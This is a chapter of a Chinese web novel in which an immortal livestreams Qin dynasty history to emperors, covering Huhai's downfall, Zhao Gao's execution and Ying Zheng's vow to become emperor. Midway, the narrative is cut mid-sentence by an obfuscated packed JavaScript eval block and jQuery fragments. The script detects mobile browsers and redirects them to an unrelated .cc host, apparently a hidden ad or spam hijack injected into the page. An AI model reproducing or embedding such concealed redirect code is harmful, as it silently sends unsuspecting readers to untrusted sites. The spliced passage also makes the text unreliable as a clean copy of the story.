闻殊在有意加快直播节奏，毕竟功德这东西，谁也不嫌多。


    “秦二世胡亥，为秦始皇下葬时安排了大量的宫女和修建陵墓的工匠殉葬，之后肆意屠杀大臣，扶苏和蒙恬被他下令赐死后，还和赵高做了许多荒唐事……嗯。”


    闻殊词穷了一下，在秦王提心吊胆的视线里说出了让他心凉彻底的话：“十几年后天下大乱，被他逼迫得起义的战火不间断地燃起在九州大地，他的罪孽绵延到后世，导致很多暴|政都以为是你这个一世做的，就这样被后人唾骂了许久。”


    秦王已经不想说话了。


    能让闻殊说好久的，那到底是多久？


    原本以为自己作为千古以来的第一个皇帝，连作为仙人的比干闻殊都对他特殊相待，怎么也会在历史上留下厚重的一笔，万万没想到居然是这样的“厚重”，多少让他有些无福消受。


    闻殊一错眼看了眼弹幕，差点失态——


    【汉】刘彻（无子版）：“好一个奋六世之余烈，背七世之黑锅，妙啊！！！”


    闻殊：“……”


    系统7601：“要不要我给你单方面屏蔽一下这个人？”


    闻殊捏了捏眉心，把在那里安家的系统7601挤得冒了个泡：“…不用。”


    目前还能跟上主播闻殊节奏的人不多，毕竟现在说的是始皇帝家的八卦，胡亥自灭满门这个消息还是太震撼了，即便这件事几乎算得上是人尽皆知也还是比不上亲耳听见来得震撼。


    在直播来到第一百分钟的时候，朱棣俨然已经将胡亥当做了一个形容词，在隔壁亲爹朱元璋无法看到的地方开始痛批胡亥所为，而咸阳宫内也不知哪个“不懂事”的下人“失手”将哭闹不休的胡亥放了回来，如今就在殿门口哭闹不休。


    “父王！父王！不是我……不是我！！”


    三岁的稚儿对其他的事情或许还过分懵懂，但已经能够清楚地辩识自己的名字和闻殊话里的信息量，他几乎一瞬间就知道了等待自己的下场绝不仅仅是半年的禁足，今日之后此生父王都不会再将他放出来，而那些在未来被他亲手杀死的那些兄弟姐妹……


    胡亥回想到刚刚在殿外远远看到的几位姐姐脸上可怖的神色，哭声愈发刺耳。


    任谁也没有想到胡亥这个不起眼的幼弟会做出这样的事情来，明明大家在王宫里都是一起长大的，杀死扶苏一事还能理解为是怕这位长兄韬光养晦，最后再度起势，别的公子也勉强可以说是政|治威胁，那胡亥又是为了什么要杀她们这些姐姐呢？


    而不仅仅是她们，比他大了许多的公子们也同时开始行动起来。


    谁都想活命，年幼的胡亥尚且不理解死亡，还只能看到自己被监禁一生的命运，他们可不小了，扶苏一直以来都对他们很好，比起不自量力的胡亥，他们没人觉得自己会是长兄扶苏的竞争选手，但，谁说他们这辈子只能当一个闲散公子？


    一干始皇后裔皆是咬牙切齿，将胡亥的名姓念了又念，恨不得现在就冲过去掐死胡亥，水幕内外一时间都乱作一团。


    “嘶，就是这小儿把自己的血亲屠了个干净？”


    “这可是古往今来第一个亲手灭族的啊……始皇帝真是会生。”


    “嬴政脸都黑完了哈哈哈哈哈，闻殊快，再多说些！”


    ……


    后台红点亮个不停，空白账号的回复脱颖而出：【真是精彩。】


    弹幕现在十分活泼，完全没有最开始的拘束，似乎意识到了闻殊时不时移开的目光是在看他们发言，对于在水幕上冒泡这件事越来越积极，而闻殊虽然适应了他们的存在却还没有养成直接回复弹幕的癖好，他的注意力还是停留在水幕里：“好吵。”


    秦王心中一惊，这还是闻殊第一次这么直白地对他表达负面情绪，抬眼看到少年仙人厌烦地皱眉也顾不得其他了，连忙唤人将胡亥拉下去。


    闻殊看着那哭闹不止的孩童一时间也不知道说些什么。


    就在刚刚那一刻，他眼中胡亥的命运变了，不再是被赵高赐死，而是在那些原本会被他残忍害死的至亲们的冷眼中满怀怨恨地度过余生，但说是余生也不过是十多年后便发了疯病，在一个雨夜里自刎而亡了。


    秦王到底是没有杀死亲子，但原本属于扶苏的命运被他人为地置换到了胡亥的身上。


    哭声渐弱，闻殊也收回了目光。


    在所有人看不到的视野里，秦王身上的道德金光依旧夺目，但比闻殊刚见他时黯淡了些许，这就是他改变他人命运的代价，当他身上的所有气运丧尽，就是秦王、同时也是秦国灭亡之际。


    但这也是闻殊最搞不明白的地方——


    国家是有灵的，流传百年以上的国家多半已经生出了自我意识，秦国也存在了百年，但……在闻殊眼里，秦国之仙灵竟然就是秦王本人，世世代代的祖辈荫蔽使得它得以降生于世又与凡胎融为一体，一人便是一个国家的神魂所在，当秦王的阳寿走到尽头，秦国也将迎来自己的陌路。


    这几乎是一个无解的局面：仙灵逝去，亲血厚葬，子嗣灭绝，生灵涂炭，战火连绵，天下大乱。


    这就是仙插手凡间事的因果，那前一个主播到底做了什么？


    目前看来秦国的命运似乎完全没有改变，虽然不乏有对方打算等秦王称帝后再谋定的想法，但就看明朝的事儿，闻殊不认为对方会没有任何动作。


    系统7601没有回复，闻殊感受了一下却惊讶地发现对方又不在了。


    怪事。


    思来想去闻殊甚至想到了另外一个可能：他看到的那个徐福现在在哪？他是不是那个“后手”？


    “秦王，你当真不想求长生吗？”


    这是他第二次问秦王这样的问题，秦王愣怔了片刻，第一次郑重其事地看待这个看似天方夜谭的话题：“想。”


    他还是不理解闻殊为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093079|159557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么问这个问题，但是就目前的局势来看——自家人知自家事，秦王这把算是真正站在上帝视角上的——他也意识到了自己还不能死。


    不只是未来十年，未来二十年，甚至更久，他都必须撑下去。


    撑到扶苏成长到能够接住这个偌大的【秦朝】。


    单单一个“想”字，弹幕沸腾，闻殊目光一错不错地看着他。


    “若是真依照仙君所说，秦国国祚不过区区弹指一挥间，吾六世努力便毁于一旦，何其可笑？本王绝不会满足于此，本王要称帝，本王将称帝，本王必将称帝！六国灭后即是秦朝，本王要让目力所及皆为吾之国土，本王要——这秦朝千千代代地传承下去！”


    “——”


    秦王的声音震荡在大殿之上，回应他的是台阶下更大声的高呼，甚至震得闻殊的耳廓都有些生疼：“吾王圣德广被，恩泽万民，大秦之盛，皆赖大王之功，愿大王万岁万岁万万岁！！”


    那还被两个壮汉压着的李斯也是抬起头来近距离对着他家王上吼了一嗓子，秦王闭了闭眼到底是没扭过头。


    李斯和扶苏对视一眼，欣喜之色溢于言表。


    闻殊哑然。


    这到底是人格魅力还是仙灵作怪，就目前来看秦国的凝聚力未免太强了些……


    台阶下，被引入殿内的蒙恬上前一步——


    这位和秦王差不多年岁的名将后裔目前还没成为后世赫赫有名的将军，即便曾经率兵讨伐韩国赵国，目前的他因为从小学习刑法的缘故还做着不大不小的文职工作，会见外使时在场的武将不多，他原本也不应该来，但好巧不巧今天的下大狱的记录就由他来上报：


    “王上，已经确认了，赵高就是赵国余孽，在笞刑之后就晕死过去，削去鼻子和手脚后已经差不多了，已经安排下去车裂后弃市。”


    一字不差地，闻殊和观众们都听到了赵高的下场，虽然咋舌声不断倒是没人觉得这刑法严重了，更有甚者嘀咕一句：“到底是谁说秦朝暴|政的？这刑法品种也忒少了些，让寡人来必叫他生不如死，一碗孟婆汤下去把肠子冲得满地流，爬去投胎都找不齐魂！”


    弹幕千千万万，总有秀儿脱颖而出，闻殊留意一看，却是个黑色的宋朝弹幕，备注着【南朝宋】刘子业。


    系统7601瑟瑟发抖：“闻殊，你说女娲咋研究的人族这玩意呢……”


    闻殊难得赞同点头，但头还没点下去下一秒却是打断了还在询问秦王如何处置荆轲的蒙恬：“你多了一子？什么时候的事情？”


    又是一桩怪事。


    秦国的怪事太多，先有胡亥自灭满门，气运之子始皇帝被无良丹药毒死，长公子扶苏莫名其妙自刎，原本就是疑云满满，现在又多了一个明显不对劲的蒙恬。


    闻殊不信邪地又掐算了一遍，没错，眼前这个命中无子之人在上个月平白多了一个儿子。


    一个名为信的幼子。